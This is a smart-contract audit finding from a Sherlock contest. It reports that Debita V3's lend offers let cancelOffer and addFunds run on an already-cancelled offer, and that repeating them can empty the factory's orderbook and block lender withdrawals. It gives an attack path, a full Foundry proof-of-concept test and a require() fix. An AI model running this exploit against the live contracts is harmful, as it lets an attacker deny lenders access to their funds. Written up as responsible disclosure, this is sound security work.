Cheery Powder Boa

High

# An attacker can wipe the orderbook in DebitaLendOfferFactory.sol

### Summary

A malicious actor can wipe the complete lend offer factory orderbook. Excluding gas costs, the attack does not bear any cost to the attacker. As a result, the "orderbook" implemented in DLOFactory will be emptied, resulting in a DOS-like state where lender funds and order matching will be temporarily inaccessible.

### Root Cause

The function `cancelOffer` only checks the existence of funds in the contract:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L148
However, it does not check whether the offer has been canceled already (i.e. `require(isActive, "Offer is not active");`
Similarly, it is also possible to add funds to an already canceled offer as the same check is missing here:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162
Therefore an attacker can repeatedly call `addFunds(uint amount)` and `cancelOffer()` on a single lend order to wipe the orderbook:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207

### Internal pre-conditions

N/A

### External pre-conditions

N/A

### Attack Path

1. Attacker creates lend order
2. Attacker calls lendOrder.cancelOffer()
3. Attacker repeatedly calls lendOrder.addFunds(uint amount) and lendOrder.cancelOffer() until orderbook is "empty" (activeOrdersCount == 0)

### Impact

The attacker can temporarily block order matching and withdrawals from lend orders (withdrawals will fail when the order book is empty due to integer underflow). Order matching can be fixed by resubmitting lend orders. Withdrawals can be fixed by submitting "dummy" lend orders with a trivial amount of tokens as start amount (e.g. 1) so that the real lend orders can be cancelled instead.

### PoC

```solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";

import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";

contract DebitaAggregatorTest is Test, DynamicData {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;

    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    ERC20Mock public AEROContract;
    address AERO;

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        AERO = address(AEROContract);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(address(DebitaV3AggregatorContract));
        auctionFactoryDebitaContract.setAggregator(address(DebitaV3AggregatorContract));
        DLOFactoryContract.setAggregatorContract(address(DebitaV3AggregatorContract));
        DBOFactoryContract.setAggregatorContract(address(DebitaV3AggregatorContract));
        incentivesContract.setAggregatorContract(address(DebitaV3AggregatorContract));

        deal(AERO, address(this), 1000e18, false);
        IERC20(AERO).approve(address(DBOFactoryContract), 1000e18);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
    }

    uint private counter;

    function getRandomAddress() public returns (address) {
        counter++;
        return address(uint160(uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, counter)))));
    }

    function createLendOrder() public {
        address randomAddress = getRandomAddress();
        
        deal(AERO, randomAddress, 100e18, false);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        vm.startPrank(randomAddress);
        
        IERC20(AERO).approve(address(DLOFactoryContract), 100e18);

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            100e18
        );
        vm.stopPrank();
    }



    function testMultipleDeleteLendOrder() public {
        // fill the "order book" 
        for (uint i = 0; i < 10; i++) {
            createLendOrder();
        }

        address alice = makeAddr("alice");
        deal(AERO, alice, 1000e18, false);
        IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );

        LendOrder = DLOImplementation(lendOrderAddress);

        LendOrder.cancelOffer();

        for (uint i = 0; i < 10; i++) {
            IERC20(AERO).approve(address(LendOrder), 10e18);
            LendOrder.addFunds(10e18);
            LendOrder.cancelOffer();
        }

    }

}

```

### Mitigation

Check whether the offer is active in the affected `cancelOffer()` and `addFunds(uint amount)` functions:
```solidity
require(isActive, "Offer is not active");
```
It may be possible that the check is not performed so that lend orders can receive funds even when they were inactived. In that case, implementing a separate function to withdraw funds but not trigger deletion may also be a viable fix.